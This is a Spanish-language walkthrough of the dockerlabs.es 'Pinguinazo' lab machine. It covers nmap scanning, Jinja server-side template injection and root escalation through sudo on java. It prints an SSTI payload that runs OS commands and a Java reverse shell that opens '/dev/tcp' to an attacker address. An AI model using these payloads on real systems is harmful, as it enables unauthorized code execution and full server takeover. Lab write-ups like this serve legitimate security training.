danielprz21@home:~$

dockerlabs.es: máquina Pinguinazo



Descripción



En esta guía, veremos como podremos vulnerar una máquina realizada en imágenes docker la cual vamos a examinar, a hacer varias reverse shell y además de, conocer un poco acera de las SSTI (Server Side Template Injection)

Enlace de Lab:

dockerlabs.es: Pinguinazo.

Dificultad:

Fácil.

Solución



Para iniciar el proceso de vulnerar esta máquina, lo primero que haremos es con ayuda de nmap ver a qué nos estamos enfrentando.

nmap -p- -Pn  -sS --min-rate 5000 --open 172.17.0.2 -oX report.xml -v

donde:

-p-: Escanea todos los puertos existentes (0-65365)

-Pn: Evita que nmap realice un descubrimiento de host antes de realizar el escaneo

-sS: Realiza un escaneo de puertos TCP mediante un escaneo SYN. Esto implica enviar un paquete SYN y esperar una respuesta; si el puerto está abierto, el host responderá con un paquete SYN-ACK

--min-rate: Configura la tasa mínima de paquetes enviados a 5000 paquetes por segundo. Esto acelera el escaneo, ya que nmap enviará paquetes a una tasa muy alta

--open: Esta opción le indica a nmap que sólo muestre los puertos que están abiertos.

-oX: Guarda la salida del escaneo en un archivo XML llamado report.xml

-v: Aumenta la verbosidad de la salida de nmap, proporcionando más detalles sobre lo que está haciendo nmap.



Obtenemos 1 puerto abierto, 5000 -> upnp? .

Ahora es momento de ver con qué versiones nos estamos enfrentando de cada servicio. Para ello implementamos el código:

nmap -sCV -p5000 172.17.0.2-oN ports_version

Donde:

-sC: Esta opción le dice a nmap que ejecute scripts predeterminados contra los puertos encontrados.

-sV: Le indica a nmap que intente determinar la versión de los servicios que se están ejecutando en los puertos abiertos.

sCV es la combinación de ambos comandos.



Nos fijamos que tiene un puerto abierto.

puerto 5000: servicio upnp?

Lo primero que haremos es ver los vectores de entrada que tiene el puerto 5000, vemos que es una template hecha con Jinja



Vemos que es una web con un formulario básico que pide cierta información. Veremos si es vulnerable a html injection

escribimos en PinguNombre el siguiente comando:

<h1>Canary</h1>

Y vemos que es vulnerable



Intentamos hacer un SSTI (Server Side Template Injection)

{ { 7*7 } } (sin los espacios)



Y vemos que es vulnerable a este ataque.

Ahora es momento de correr comandos de linux, navegando en internet podemos encontrar varias web que nos ofrecen payloads y comandos ya listos.

En esta página web 1 encontramos varios payloads.

Ejecutar uno para determinar qué usuario somos

{ { request.application.__globals__.__builtins__.__import__('os').popen('id').read() } }



Ejecutando el comando id vemos que pertenecemos al grupo pinguinazo

Ya que podemos correr comandos a nivel de sistema, es momento de hacer una reverse shell para tener acceso al servidor

Abrimos un puerto en nc en modo de escucha con el siguiente comando:

nc -lvnp 443



Presionamos el botón save all y volvemos a nuestra nc en modo escucha, obtendremos lo siguiente:



Vemos que somos el usuario Pinguinazo, es momento de tratar la bash, más que nada para poder hacer ctrl+c sin matar la reverse shell y ctrl+l para poder limpiar la pantalla:

script /dev/null -c bash

ctrl+z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash

Si hacemos nano, vi o cat, la pantalla nos aparecerá pequeña y no podremos crear archivos con total libertad. Para ello, corremos lo siguiente:

Abrimos una terminal nueva y corremos:

stty size



Nos aparecerán dos números, el primero corresponde a las rows y el segundo a columns.

Abrimos la reverse shell y corremos el siguiente código:

stty rows 24 columns 128

Una vez ya tratamos la tty es momento de buscar una vía para escalar privilegios. Para eso, ejecutamos el comando

sudo -l



Vemos que podemos ejecutar como usuario root sin necesidad de password el binario de java

No hay ninguna forma de escalar con permisos, como el caso de python, ruby o php.

Así que haremos una reverse shell y abrimos otra terminal con nc en nuestra máquina local.

Si vamos al a web de revshell2 y en la sección de java copiamos la siguiente:

public class shell {
   public static void main(String[] args) {
       Process p;
       try {
           p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/172.17.0.1/443 0>&1");
           p.waitFor();
           p.destroy();
       } catch (Exception e) {}
   }
}

Con nuestra nueva nc en modo escucha



Corremos el script de la siguiente forma:

sudo /usr/bin/java reverse_shell.java



Y vemos que recibimos la conexión como usuario root en nuestra máquina.

Referencias